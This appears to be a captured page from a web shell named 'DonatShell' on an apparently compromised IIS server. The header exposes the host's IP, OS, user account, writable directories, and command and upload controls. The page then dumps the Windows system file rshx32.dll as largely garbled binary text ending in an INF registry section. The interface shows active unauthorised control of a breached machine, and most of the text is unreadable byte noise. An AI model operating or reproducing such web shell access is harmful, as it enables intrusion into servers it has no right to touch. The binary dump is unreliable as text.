DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.127
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/System32/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/System32/rshx32.dll
MZ@	!L!This program cannot be run in DOS mode.

$}.I^@^@^@Wd\@^A@WdG@Wd_@WdN@WdK@Wd_@Wd_@Rich^@PEL8[J!	&exR@{@w@.text}~ `.orpc3 `.data@.rsrc@@.reloc	
@Bo[Jh[Js[J}~[J[Jv[J[J[J[J[J/[Jmsvcrt.dllntdll.dllKERNEL32.dllADVAPI32.dllAUTHZ.dllCOMCTL32.dllRPCRT4.dllOLEAUT32.dllSHELL32.dllSHLWAPI.dllUSER32.dllslc.dll+ww1jwdwľwռwԾwwewwwwwVwCwķwwwww[wwww3wIwawwUwww*w|wwww^w/w~m_mYmmmxm>~u^w7wwvww#
wDwPww5+wB1www@w7wwg&wCw
ww[www'wvwM_wnwwww|ww<w	6wwuww\4ww/w\w_wfwsoBFoY>o.to$vowodwcwwcwdcwcw1wwQcwgӼwyӼww"w/#wRwewdwww8wKws9ss$sods1Im+1mXmVmvmmemmmmFm)mLvw\UwwzwwwwRwEMwLjwaRw3Uwjw9iwzwwJVwoλooZouoooQoo'>oIw:w QwKww!w&waxR8[J#XX(null)\`_#vS85|@ѓD6_f0yKDъu1OAQjxRgtX
DeT}~J(D]M@\.PnlIElevatedNtfsSecurity]+H`3lF>>HHp*HWdtHWdtR	[\[gsxRRsxR=sxR(sxRsxRsxRsxRsxRsxRrxRxR+DxRhxRxRxRhxRxRxRTxRxRrxRrxRxRrxRrxRrxRrxR~rxRrrxRfrxRxRxRxR(xR0xR8xRxR&xR%xR<&xR xR_+xR&xRZ&xR-&xR%-xRvRxR=RxRTRxR#SxR xR2xR&xRxRxRmUxRi&xR(xRUxR xRshell32.dllElevation:Administrator!new:%sX|?M#MountedVolumeDefaultInstallDefaultUninstall$7xR4xR?=xRa=xR4xR6xR6xRBxRoExR6xRq6xRBxRwFxRIKxR<5xR%5xR=xR5xR&xR%xR<&xRVKxRcKxR&xRZ&xR-&xRIKxR%xRK&xR&xRdWxRvRxR=RxRTRxR#SxRjSxRpKxRvJxRJxRKxRmUxR<xRGxR~MxR\NxROy&xR%xR<&xReUxReUxR&xRZ&xR-&xReUxRvRxR=RxRTRxR#SxRjSxRSxReUxReUxReUxRmUxR<xRQxRUxR%VxRDummyOptionValueSYSTEM\CurrentControlSet\Control\SafeBoot\OptionACLUIFileFolderTool-IsSecurityUIEnabledNoSecurityTabSoftware\Microsoft\Windows\CurrentVersion\Policies\ExplorerSysVolSystem\CurrentControlSet\Services\NetLogon\ParametersSoftware\Policies\Microsoft\NetlogonhxRxRACLUI.dllADVPACK.dllMPR.dlldsrole.dlldfscli.dllnetutils.dllsrvcli.dllole32.dllFShell Object OffsetsFileGroupDescriptorWFileGroupDescriptorShell IDList ArrayUniformResourceLocatorFFFR88`[|^1/`[FFWINSPOOL.DRVHxRxRRSDSK
E$ershx32.pdbgUxR@8t3h<xRPhxRuuuxR]h<xRxR̋Uh<xRueU]̋U3@9Eu	M
LxR]̡xR@8t3PhxR5LxRxR̡xR@8t3PhxR5LxRxR̋U@SW3fE}3f}]EEEEE;uE@SSEPuxRu	Ef]VEt؋#;tISEEjEPEPVEPE]E@]Љ]xRPxRuu	7xRE}r^EPxRE_[̋UVu:M3$xRFxRF|xRFhxR ^]̋VW=4xRxRFxRF|xRFhxR׋$tP0xR_^n2̋UEt!ȀAu
u
@t
VuWuuuPuVz2PP@V;_^]̋UVuu@hxRVTxR&3^]̋UMt'Et UBtxR3@@]̋UE3;u@'9MuW9Mt@
QPuu 3]̋UQ}tnEteeEPEPEPuxRMtEV33Af;Qs6u	Huxu
@MPQF;|^̋UEu@
MI3]̋USVu}]VPxRW}VSuW4E=uGeEPEPVxRtUEu	GtCVSuxRt4VSuW4E}| tGtjuh0hxRE_W@^[]̋UE-t)HEHPu(xR3@eVuFW=DxRt)P5PxREPL}t
ujfu׍EPGvjduxRFt>PEPHuvEj
5PxRPL}t
ujeu׍EPG_^3]̋UVu6XxRuj6\xR6`xRVh!xRuj5PxRdxR^]̋U<Vj8EjPBuEPVE<TxRtf;Eu	E033@^̋UxR3ʼnESVWj$(xRw(HxRQh"xRPLxRVhxRjjhxR$xR>hPjW5PxRPxRufRPQEHjYtt	ujj
jYhPQ5PxRPxRufjjRjPQ(hhxR,xRP6Pjjj3PQ6QhxRV|SPQPQLJ(M_^3[BA̋UVt<PQPQuuh$xR$$xR^]̋UVt?(s	A(jjujPQ((VPt3@3^]̋U$ujuxRt*VuEPju xRt	Et&3@^̃l$,̃l$B,̃l$l,̃l$],̃l$,,̃l$,̃l$,̃l$+̃l$+̋UVTEtV4xR^]̋UVut<Mt5Et.UR҃xR xR3@^]̋UQQSEPEPuxRu
WWuxRGPj@8xRu
eVjPxRtEjWVxRt.uhjVxRtjVjF	xRu3xR~
%
E}tP4xRE^_[̋UVW39u5u5PxRh4jWj|Gu7u|*tuVu_u@|33@_^]̋UEMV3W}Wt
uu3t=vS3߉]E;t9uuExREtdt3fEt}tuEPu]3B]}zuEtEtMUQ[_^uEf8t̋#덋ϋ}3E)EU+]tftfAANBuu
IIJEz}3f1u+W]E.MQUB?PQCP0<#̋UM3tvW|9SVW}EPuqVW3pxR|;wu
z3fw_^[]̋UEM3҅t0=w)V3Ѕtf91tAAJuuW3ҋ^+‹WMt
|҉!]̋UxR3ʼnEMES]Vu&<j2MQPxRueEPhxR@h,P|DWj	Y3V<󫍅P@PDž$8Dž,xR_M^3[:̋USV3WS]]xR;}|bEPhTxRhtxRu	;|Fuv=pxR׉Etv׋؅uuVERSuuPQEt
PQeu5txRSփ}|xR_^[̋UVu3;9MFS3W}CE;u+9MQuh0hxR9Mt.t*MMQvuBu9EMo3;FU}ׁUUMMUQP;ËEt^uM/;uE^_[^̋USW}3ۉ];X9]OWtxRuEW|GPj@8xRE;uEJPEHhxRSWSSQujpxxR;~
%
;ÉEG!]V]vCEEEt!MQjPMEE\]GEE9ErSj@8xR؅u	EuGeÅvfE])EpFUӃ>t/Eh	0EPEP6uQE|'MmGE9ErE@;]GjPu|xR}^|EtS4xR}t	u4xRE_[̋U4VuW3;u
WVS^EFW}}}}}ExR;ljEEPEPSxRuxR;ksEtEPEPSxRtۋ}t!EPEPEPSxRu
xREt3EPEPEPSlxRuxR~
%
EtEt	MM EtE t	M@Mhj<xRP@xR]MSEtEjEtE	EjEP?EVjh,xRvuujuSjppxRW@~]~t<EjRXtjSEtjTX5PxRh0jWPE>e]=4xRtP׃#}t	u@xREtjEtjX
Eu]PSPvV׃}[|xRE_^̋USVW33]}}9}u3T9{u
5EPEPu}xRuxR;~
%
Et)udxRPj@E8xRuEuP$4FhxREPWu9}tuj@8xRE;u
MQPuӅp]jj@8xR;tыEEF39}^$~@F9;uWjWWxR;!EP}QEPWVh.xRWWxR;tP0xR
@
tV54xRu֋_^[̋U}u
@uPxRu
WS]t	uS(Vu W=HxRtv(PuSvM't%v(PSv(u3@6t
j>
FttjuS
uSV( _^[]3f;XxRuh0xR8xRfXxR̋UEHVuu5PxR4xRVxRuuV3@^]̃=\xRu=TxRu3@jhLxR5PxR53jhlxR5PxR53hTxRxRxR̋UE@@]̋U}t\xR
\xR3]̋VFxRFxRFxRt
PQfF PJ5F$PA5(V85hTxRxR^̋UE@@]̋UESVWjZʿxR3tʿxR3u
EM?ʿxR3uEٍP#ʿTxR3uExuHU
@3
E!@_^[]̋UVuFt
PQfEF^tPQ3]̋UxR3ʼnEMEVu&hRuQP=|PxR%M3^/̃l$̃l$̃l$̃l$xR~
%
̋UVu4"xRFxRFxRFxR^]̋UVqEtV4xR^]̋UVuWjYxR3tujYxR3t
E @
EM@3_^]̋UEVNF3hTxRxRFxRFxRFFF(F,F0F4xR^]̋UVEtV4xR^]̋UVu3WM>EEtE@SMQNDxRSPQPxREEPEPFSPuxRE3O(QPuuE|lG$PFjPufE|Qh@`uuV<MtQP3ɉMu@u	E@@  uEM[t
QPeEtPQE_^̋UQE V~WEu h,j@8xRt.v,vhj@8xRtvL3t9v0v$v vv(WP,E|E8f(f f$NWPE_^̋UQSEPG؅|5VW}WxRtuVUuVxR؋WP_^[̋UxR3ʼnEESVW\v@h33ۉPTfXxRf43@PR<DF4R8PQ;WtPSTxRtPdDžHDžL	`xRWlPtPxRSSdPSSj@|PtPxRtQdtSjHP4h`PlP;`uxRt@uNuufN@ufNtP|Pj	5PxR~$Wf3u
|PW29u(lPF(P2;|u\h59Pt
PPxRM_^3[)̋UM3tvW|GES3Vt*UW++Ѝ7tftf@@Nu_uHHz3f^[]̋UVEtV4xR^]̋UEVhTxRxRFFxR^]̋UMIAu	j3]̋US]#}W@tNVuFtu:j8j@8xRtv3uSuVVP^_[]̋UMIAu	j3]̋U xR3ʼnEESVu3VxRVhP+W5=f
PxRPxRPjSSP^3;u39YvwA3t>j\XrffhPDžAuG;yr9tPuR_;tQ2M^3[&̋UxR3ʼnES]VuWuWPt
3f39utWPPxRt
PxR=xRPVVSxRKxRtSPxRuNPxRPxRt0PVVVVVVPӅt9t"PxRPuM_^3[%̋UxR3ʼnESVu3;tVxRttWVxR;teVhP|OPxRt>PjWPH1u$9XtpxRtC0_M^3[$̋UxR3ʼnEMES]VuW}3ɉft!!SxRuPScutSxRSxRStt#xRtSxRu
thPPPS+twuVPttPHPxRt7j\PxRt+@;rPVP'M_^3[K#̃l$̃l$̋US]#VuWjYtxR3u3FujY xR3u=j^jj@8xRtV3tSuVVPSuu0_^[]̋U xR3ʼnESVjPDžDž	v,3hf3ۍSP1"~uCF0PF,PhPEPv(HEtPv(d.DžF(hPPv(E
9~WuuDžf9t$PF P*;É~tBF@t89^0uv
Ftu
FtuH	VC#;tNuufN@ufuF4EtNEtN_,M^3[ ̋UQeS]VuWv
WMt|Etu9~uuN NFF;tZEPNX|Hu 9^,tj&uuxRu+@$~,ttj[SuuxR@Ef ftPQ_^[̋UV~u EPuFu
u
FF^]̋UeeW3}fu	t@tVuEPEPv/|CE8u-~uN@PZuuuEPu.~uuNu
^_̋UQeVWEP3VVuuA/u>xRzu3uj@8xRt"EPuVuu/u	V4xR3E0_^̋UuEu
uPuu(
]̋UM<v#<t,<wAЃPDAA3]̋USVW}tT}tNe3wf;Gs?>u#F#;uFuV|Pu`xRuFEG9Er3_^[]̋UQVuW3;u3E>;u3@3S}Xf;HCK	>u`+@+k8};z;rQj@8xR_WuP6@xRfAfMfH>}CcPSWGf@K	;K0#;C$	<	S?Puw9uRE+@+kPj@}8xRWuPP6@xRfAfMfH>}CPSW$G$
GGGf@>tCPSWGf@CEfM؋Ef;Hdtf+fx3@[_^3̋UUt/Mt(Et!EtxRxR 3@]̋UEWt?}t8 Vtt,xRLxR<xRVWTxRF
!3^@_]̋UMuEuxR@]̸@̸@̸@̋U4VuW3}}}};u
@S];VPxR]et7EPEPEPVxRt 9}tEPut9}tEEt7EPEPEPVlxRt }tEPuZt
EtE39Eu	9EEEPEPVxRuxR%
uEPxRtҋE%fEt'EPEPVxRtuEuPHxRtt+EPEPVLxRtuEuPXxRjt#Eȃ QuPEP\xRC}t#EȃQuPEPxRuVSu}=4xRtu׃}tu׋W[_^̋USVW33u}}3;9u9uu
WEtMEtMEPEPu7(tEEPjuu-tu6dxRP76VxxR3xRup(xR;~@_^[̋US]VW33u};};9uWPxRu
WtMtMtMEPEPu't)jEPju}'uxRu'xR~@_^[̋U(S3W}]EEEEE]]];u
@Vt؋#;t5EPEPuu'tu	7&xRt="uuCr}t^EPEPuE&tCeEPju)t%u3ft9t6uWZEV4xRum&E^_[~
%
E̋UQeSVuW3G߅t&EPWua!Mt#tt3ۅttu>Q"!_^[̋U}W}VEPEPWxR0!uEtCEu9	EeEPEPEPWxREtHP`I…wEtC Eu9	EeEPEPEPWlxREtHP`I…wuVWDxR^_̋VFPxxRFxRFhxRFTxRF$PF Pv,xRhTxRxR^̋UMVt:u~$u1Et*FEFEjPF N$4F0E3@^]̋UE@@]̋UMIAu	jP(3]̋UUVWjYxR3t{jYxR3tkjY xR3uEٍP#7j3EY@xRuxuHxtjY0xR3u
HU
E @
EM@3_^]̋UEu@+MQPxRPQ PQ$4PH3]̋US]3VW;tQu9FtI};uW@9Et	E@&SWvVP0E|Ft3WE@_^[]̋UVuW39~uP9}u@M9}tCuPxRt6ShW<xR=@xRPuuvVP4tS[W_^]̋VtCF33ɃujY&u!3Ft9L	
9AQhR^̋U xR3ʼnEMVuPPPPPVQxRt$ttt
tu3@ V(xRt8rjV,xR8 t3M3^3̋UEHVt8-uCuW}9F(uEPF(0xRu_uE;Mu`(3^]̋UV39ut:9ut59uuW.uEVVVVupu$xR;~%
@^]̋USVuW3;9}
];VPxREPEPV}}}}}xRuxR;%
EPEPVxRtЍEPEPVLxRtEPEPEPVxRtEPEPEPVlxRttEt tE t@uEuuuSpu xR<W@_^[̋U,S3W}]];z9]q9]h9] _9]$V9](MuPxR5WxR&EVp(E\xRE]];uEWuMQSQQSVWPxRtcE58xREPj@E]؉]]։E;tEPj@։E;u	E4SEPSSuESPuSxRuxR;~
%
E9]t	uxR9]}54xR9]tu9]t$uEM܋UM EM$M(E^W@_[$̋UESVW3ۍ~,hTxRxxRFxRFhxRFTxRFF^(^0xRWhxRSSSjxRjdF4Pj5PxRPxR_^[]̋UVEPj3VhxRhxRu;EPEPVVhxRuExRu}t}u3FuxR^̋UQuEPh@xRE}339E̋UVEPj3VhxRhuxRu6EPEPVVhxRuuExRu}uFuxR^̋UQQ3V9E9Et{uu3@pEEEPEPuxRtSEt	EuEt	E uu5PxRh4jW8PuftuV3^̋UVW}3ExRE8xR;SxRuEPEjVthxRuZEPVVVh(xRuuӅu99ut4Euj@8xR;tMQPVVh(xRuӅt74xR7uxRE}r	uxR[_^̋UQ39Uu3Eu3@
EVU;tpf@@f;u+EEU;tpf@@f;u+E5xRSW49Ut.jujuRWփu5PxRSjWjUut~uxREEt29Er-PuPujWփu5PxRSjWjVut9Et69Er1PuPujWփu5PxRSjWjVugu33@_[^̋USVW؋33t!9EtftfAACCNMGuuIIOz3fMt9_^[]̋UUS3Wt;vW}|0e3V;tf9t@@Nu;u	EW+΋E^3Ʌ|ES+jO>_[]̋UxR3ʼnEVuW}Džu
W'f~:S!ffEj:XfE3fEPPEPDž#xRu@PӉVӋ\Pj@8xRu[Dž=u.Dž?tWxR[M_3^=t~n%
bu+QPEPj~
%
|;QSPVS7'VxRtVW.UW
W̋USW}3;9]V5xRSShxR;t>XPj@8xRt)SPhxRօthxRS7}74xR'jjdxRS֋t,?Pj@8xRMtWPSօuu64xR&^_[]̋U,EeSXVpW}+x@xR+xRًUxRyEuxRRS	}tEjWVu+jY}EExRE$]t7MQj-Wu"~t=uSjjVt	E}u	E3}t-uuZu7t=uEuuS#}tE0_^[̋Ucsm9Eu
uPYY]3]̋UVu3utу;ur^]hxRYЧxŖxRu@Ã 3̋US3VW9Eu&9`xR~
`xR=<xRPȧxR3K}>d
Y=<xREPȧxR;thdxRjSVׅuEħxRj_t	j9hxRhxRħxRYYzhxRhxRY=ħxR3Y9]uSVxR9اxRthاxRYt
uWuاxR`xRwhdxRjjVׅuħxRt
j"YMЧxRt0=̧xRtЃ;sSxR%̧xR%ЧxRYjVħxRxR3@_^[]j,h0wxRM3BU3u
xR;u95`xRuu;t	ԧxR;t6UdxRuQuЉEE	MPQYYËe3uu9uEuuuEE	MPQKYYËe3uu9uoMEuQuEE	MPQYYËe3uu}9uEVVu7E	MPQYYËe3uEVVuE	MPQYYËe3uԧxR;t,EVVuE	MPQ_YYËe3u9ut
}EuuuEE	MPQYYËe3uuԧxR;t>95dxRt6EuuuЉEE	MPQYYËe3uuEExR̋U}u]%lxR;
xRuW%txR%|xR̋UMMZf9t3]ËA<8PEu3ҹf9H‹]̋UEH<ASVq3WDv}H;r	X;r
B(;r3_^[]jhwxRexRV\Yt=E+PVYYt+@$ЃE E3=ËeE3e%xR%xRhgxRd5D$l$l$+SVWxR1E3PeuEEEEdËMd
Y__^[]Q̋UuuuuhfxRhxR]̋UxReeSWN@;t
t	УxR[VEPxRu3uxR3xR3xR3EPxRE3E3;txRuO@5xR։5xR^_[̋U(hxR
dxR`xR\xR5XxR=TxRfxRf
txRfPxRfLxRf%HxRf-DxRxxRElxREpxRE|xRxRpxRtxRhxR	lxRxRxRjxRhxRxRh	xRPxR%xR%xR%xR%xR%xR%xR%DxR%<xR%xRxRQRPhwxR|ZYะxRxRxRQRPhwxRMZY%xR̋UuE@P8xRM%]̋UVuttP4xR&^]̋UVW}j3@PuXxRt.PuTxRt PPxRtOH0@@u_f^]̋Uujujjuh\xR]̋U3PPuPuPh\xR]̋U}wErw	M3E]̋UME;r	M3E]̋UQVutEtUO+3ɉfEt?Eu%PWE:}u	E83v-MDw3fvEtE833f3^̋UVu&EPEjYRP|Vuuu^]̋UQQE 3%VW}Et9Muu3Ʌt;vW;MUSM3ɉ];rW9Mt9Mu	ExR33;ȋE tW;Mf;u#;Mf9t}9EuWuzj]EREPE׋	EC+؉M]|AE t4v/v'PE %PQ;tM3f}4E ttu EP?}P]3]}zuEtMEt[_^̋UVu&WEPuuW|.Vuuu|hjjuuu6$_^]̋UEHf@@fuu+jPuuuv]̋Uuuj@j]̋Uuujj]̋Uuu]̋UW}u37SVu3utWFV~|V7uuPxR^[_]̋UQVuEu3!uPtuuu}t	u4xR^̋UQEEEPuuűUQQEeeuÍMVMMQPƍEuuPUP	euEEtuPuEP#EuPuu,xREP<EP3^̋UQQS]VuFkPj@8xREWj0_v HxNuMMEPjW`xRP@xR3;tEE!xR=u_EPWxRP<xR;tGEPWWSj,u8xR;t/SSSuSu4xR;tuS0xRu0xR;uM}_u}t	u0xR;t	}u]u4xRE^[̋UVutVj0xRtV0xR^]ȣxRQRPhxxRZY%ȣxRxRQRPh,xxRZY%xRxR%xRxRQRPhLxxRZZY%xRxRQRPhlxxR4ZY%xR,xRQRPhxxRZY%,xR%xR%xR%xR%xR%xR%xR%xR%xR%xR%xR%xR%xR%xR%xR%xR xRQRPhxxR4ZY% xRxR%xRxR%xRxR%xR$xRxRxRxR}xRsxRi%xR%xR%|xR%xxR%lxR̋UVuRu3ufEPQ,|uVuP^̋UWEPEPhxRuuu|4EVuURURjuPQ$|
EM#ƉEPQ^_]̋UQeEPuuuuz|AW} t4@t,Vu!utju=t}^_E̋Uujuu{]3f;xRuIV58xRhLxRh$xRfxRhxRfxRhxRfxRhxRfxRfxR^̋UVuFt>uPLxRV	^]xR~%
|@̋US]eMVu&W3fEfE3@SUEEERPQ|sHxRu
S{_^[̋UuxRuPun]أxRQRPhxxRZY%أxRԣxR%ԣxRУxR%УxRܣxR%ܣxR%xRQL$+#ȋ%;r
Y$-%xR%xR%xRexRcxRcxR&dxR:dxRidxR}dxRdxRdxRdxRdxRexR&exRWexRkexRexRexRgxR#gxRy{ y({0ȣ$y0{@Hy8{P@yD{`TyL{p,yT{\y\{У,y{yyzzz
{yyyzNzbz8zzzzzz(zrzzRegInstallWWNetGetConnectionWPDsRoleFreeMemoryDsRoleGetPrimaryDomainInformationNetDfsGetClientInfoNetApiBufferFreeNetShareGetInfoHWND_UserFreeHWND_UserUnmarshallHWND_UserMarshalHWND_UserSizeCoCreateInstanceCoGetObjectStringFromGUID2CoUninitializeCoInitializeReleaseStgMediumGetPrinterWClosePrinterOpenPrinterWSetPrinterWl8x\}^||<}T}6(~@~Llx~~n~$Xʋ~lXJ<$ޅȅFXpl΃lN2&քz\L,Άn̂$@؁́\t\D(Ԁ>08(ҋ(H`|Έ .r\DlZdL8 ډЉʌ(nRD8zΊ`jx&4Tfmemset_vsnwprintfmemcpymemmovej_XcptFiltermallocfree_initterm_amsg_exitmsvcrt.dllY_except_handler4_commonLRtlFreeUnicodeStringNtCloseRtlNtStatusToDosErrorWNtOpenFileRtlDosPathNameToNtPathName_UnWinSqmSetDWORDlWinSqmIsOptedInntdll.dllDLocalAllocHLocalFreeRCloseHandleGetModuleHandleWWaitForSingleObjectYSetEventGetFileAttributesExWGetLastErrorCreateThreadCreateEventWDisableThreadLibraryCallsInterlockedDecrementInterlockedIncrementGetVolumeInformationWGetVolumeNameForVolumeMountPointWGetDriveTypeWMLocalSizeNlstrlenWdCompareStringWExpandEnvironmentStringsWDelayLoadFailureHookEGetProcAddressbFreeLibraryInterlockedCompareExchange=LoadLibraryExAInterlockedExchangeSleepQueryPerformanceCounterGetTickCountGetCurrentThreadIdGetCurrentProcessIdyGetSystemTimeAsFileTimeTerminateProcessGetCurrentProcessUnhandledExceptionFilterSetUnhandledExceptionFilterKERNEL32.dllMapGenericMaskHGetSecurityDescriptorDaclSetFileSecurityWGGetSecurityDescriptorControlIsValidSecurityDescriptorSetSecurityDescriptorDaclAddAccessAllowedAcevInitializeAclwInitializeSecurityDescriptor6GetLengthSidKGetSecurityDescriptorOwnerFreeInheritedFromArray4GetInheritanceSourceWIsValidAclTreeSetNamedSecurityInfoWMGetSecurityDescriptorSaclMakeSelfRelativeSDJGetSecurityDescriptorLengthEqualSidSetSecurityDescriptorSaclSetSecurityDescriptorGroupIGetSecurityDescriptorGroupSetSecurityDescriptorOwnerSetSecurityDescriptorControlWGetSidSubAuthorityXGetSidSubAuthorityCountLookupAccountSidWBGetNamedSecurityInfoWSetNamedSecurityInfoWIsValidSid0RegCloseKeynRegQueryValueExWaRegOpenKeyExWADVAPI32.dllAuthzFreeResourceManagerAuthzFreeContextAuthzAccessCheckAuthzInitializeContextFromSidAuthzInitializeResourceManagerAUTHZ.dll1DestroyPropertySheetPageCOMCTL32.dllNdrDllGetClassObjectNdrDllCanUnloadNowNdrCStdStubBuffer_ReleaseNdrDllRegisterProxyNdrDllUnregisterProxyCStdStubBuffer_DebugServerReleaseCStdStubBuffer_DebugServerQueryInterfaceCStdStubBuffer_CountRefsCStdStubBuffer_IsIIDSupportedCStdStubBuffer_InvokeCStdStubBuffer_DisconnectCStdStubBuffer_ConnectCStdStubBuffer_AddRefCStdStubBuffer_QueryInterfaceIUnknown_Release_ProxyIUnknown_AddRef_ProxyIUnknown_QueryInterface_ProxyNdrOleFreeNdrOleAllocateRPCRT4.dllOLEAUT32.dllSHChangeNotifyuSHBindToFolderIDListParentwSHBindToObjectDragQueryFileWSHELL32.dllPathSetDlgItemPathW'StrDupW0PathAddBackslashWPathRemoveFileSpecWgPathIsRootWqPathIsUNCWPathRemoveBackslashWIPathFindFileNameWoPathIsUNCServerShareWStrChrWSHLWAPI.dllSetDlgItemTextWEndDialogDialogBoxParamWSetForegroundWindowShowWindowIsWindowVisibleGetWindowInfoLoadStringWEnumChildWindowsDGetLastActivePopup|SendMessageWSetCursorLoadCursorWPRegisterClipboardFormatWSetProcessDPIAwaredGetParentMessageBoxWUSER32.dllSLGetWindowsInformationDWORDslc.dllSLockResource@LoadResourceMFindResourceW]FormatMessageWGetCurrentThreadGlobalUnlockGlobalLockSetThreadTokenAdjustTokenPrivilegesDuplicateTokenExOpenProcessTokenOpenThreadTokenvSHBindToFolderIDListParentEx>StrRetToBufWɭ[J0(4B>4]4;K]oRSHX32.dllDllCanUnloadNowDllGetClassObjectDllRegisterServerDllUnregisterServerUVWjY(xRxu3uE 3@3_^]@xRxRTxRrxRrxRrxR|xR|xR|xR|xR|xR|xR|xR +|xR&|xR-|xR)|xR'|xR(|xR.|xR*|xR@,|xR |xR!|xR"|xR#|xR|xR|xR|xR|xR0|xR1|xR2|xR3|xR4|xR
5|xR	6|xR@|xRA|xR0B	|xRD|xRE|xRF|xR<G|xR|xR@|xRA|xR0B	|xRD|xRE|xRF|xR<G|xR|xRH|xR	I|xRJ 0(<|xR%SystemRoot%%SystemDrive%N@DixRixRixRixRqxRvxRvxRhvxRvxRqxRqxRqxRrxRCsxRXsxR.sxRwsxRsxRsxRsxRsxRsxRmsxR.rxR(@Xp			0REGINSTMUI4VS_VERSION_INFO@@?StringFileInfo040904B0LCompanyNameMicrosoft CorporationZFileDescriptionSecurity Shell Extensionl&FileVersion6.1.7600.16385 (win7_rtm.090713-1255)6InternalNamershx32.dll.LegalCopyright Microsoft Corporation. All rights reserved.>OriginalFilenamershx32.dllj%ProductNameMicrosoft Windows Operating SystemBProductVersion6.1.7600.16385DVarFileInfo$Translation	[Version]
signature = $Windows NT$

[DefaultInstall]
AddReg=RegistryAdd

[DefaultUninstall]
DelReg=RegistryDelete

[RegistryAdd]
HKCR,Clsid\%CLSID_RSHX_NTFS%,,,%DESCRIPTION%
HKCR,Clsid\%CLSID_RSHX_NTFS%\InProcServer32,,,%MODULENAME%
HKCR,Clsid\%CLSID_RSHX_NTFS%\InProcServer32,"ThreadingModel",,Apartment
HKCR,Clsid\%CLSID_RSHX_NTFS%,"AppId",,%CLSID_ELEVATED_NTFS%
HKCR,Clsid\%CLSID_RSHX_NTFS%,"LocalizedString",,"rshx32.dll,-59"
HKCR,Clsid\%CLSID_RSHX_NTFS%\Elevation,"Enabled",,1
HKCR,Clsid\%CLSID_RSHX_NTFS%\Elevation,"IconReference",%REG_EXPAND_SZ%,"@%%systemroot%%\system32\imageres.dll,-3"
HKCR,*\%SHEXPS%\%CLSID_RSHX_NTFS%,,,
HKCR,Drive\%SHEXPS%\%CLSID_RSHX_NTFS%,,,
HKCR,Directory\%SHEXPS%\%CLSID_RSHX_NTFS%,,,
HKCR,Clsid\%CLSID_BRIEFCASE%\%SHEXPS%\%CLSID_RSHX_NTFS%,,,
HKCR,Clsid\%CLSID_RSHX_PRINT%,,,%DESCRIPTION%
HKCR,Clsid\%CLSID_RSHX_PRINT%\InProcServer32,,,%MODULENAME%
HKCR,Clsid\%CLSID_RSHX_PRINT%\InProcServer32,"ThreadingModel",,Apartment
HKCR,Printers\%SHEXPS%\%CLSID_RSHX_PRINT%,,,
HKCR,AppId\%CLSID_RSHX_NTFS%,,,%DESCRIPTION%
HKCR,AppId\%CLSID_RSHX_NTFS%,"DllSurrogate",,
HKCR,AppId\%CLSID_RSHX_NTFS%,"AccessPermission",%REG_BINARY%,01,00,04,80,60,00,00,00,70,00,00,00,00,00,00,00,14,00,00,00,02,00,4c,00,03,00,00,00,00,00,14,00,03,00,00,00,01,01,00,00,00,00,00,05,12,00,00,00,00,00,14,00,07,00,00,00,01,01,00,00,00,00,00,05,0a,00,00,00,00,00,14,00,03,00,00,00,01,01,00,00,00,00,00,05,04,00,00,00,cd,cd,cd,cd,cd,cd,cd,cd,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00
HKCR,AppId\%CLSID_RSHX_NTFS%,"LaunchPermission",%REG_BINARY%,01,00,04,80,78,00,00,00,88,00,00,00,00,00,00,00,14,00,00,00,02,00,64,00,04,00,00,00,00,00,14,00,1f,00,00,00,01,01,00,00,00,00,00,05,12,00,00,00,00,00,18,00,1f,00,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,00,00,14,00,1f,00,00,00,01,01,00,00,00,00,00,05,04,00,00,00,00,00,14,00,0b,00,00,00,01,01,00,00,00,00,00,05,12,00,00,00,cd,cd,cd,cd,cd,cd,cd,cd,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00
HKCR,Interface\%IID_ELEVATED_NTFS_SEC%,,,"IElevatedNtfsSecurity"
HKCR,Interface\%IID_ELEVATED_NTFS_SEC%\ProxyStubClsid32,,,%IID_ELEVATED_NTFS_SEC%
HKCR,Clsid\%IID_ELEVATED_NTFS_SEC%,,,"PSFactoryBuffer"
HKCR,Clsid\%IID_ELEVATED_NTFS_SEC%\InProcServer32,,,"rshx32.dll"
HKCR,Clsid\%IID_ELEVATED_NTFS_SEC%\InProcServer32,"ThreadingModel",,Apartment

[RegistryDelete]
HKCR,Clsid\%CLSID_RSHX_NTFS%
HKCR,*\%SHEXPS%\%CLSID_RSHX_NTFS%
HKCR,Drive\%SHEXPS%\%CLSID_RSHX_NTFS%
HKCR,Directory\%SHEXPS%\%CLSID_RSHX_NTFS%
HKCR,Clsid\%CLSID_BRIEFCASE%\%SHEXPS%\%CLSID_RSHX_NTFS%
HKCR,Clsid\%CLSID_RSHX_PRINT%
HKCR,Printers\%SHEXPS%\%CLSID_RSHX_PRINT%
HKCR,AppId\%CLSID_ELEVATED_NTFS%

[Strings]
REG_BINARY=0x00000001
REG_EXPAND_SZ=0x00020000
MODULENAME=rshx32.dll
DESCRIPTION=Security Shell Extension
SHEXPS=shellex\PropertySheetHandlers
CLSID_RSHX_NTFS={1f2e5c40-9550-11ce-99d2-00aa006e086c}
CLSID_RSHX_PRINT={F37C5810-4D3F-11d0-B4BF-00AA00BBB723}
CLSID_BRIEFCASE={85BBD920-42A0-1069-A2E4-08002B30309D}
IID_ELEVATED_NTFS_SEC={74807f67-0058-440d-8600-65541a7fbbea}
CLSID_ELEVATED_NTFS={1f2e5c40-9550-11ce-99d2-00aa006e086c}
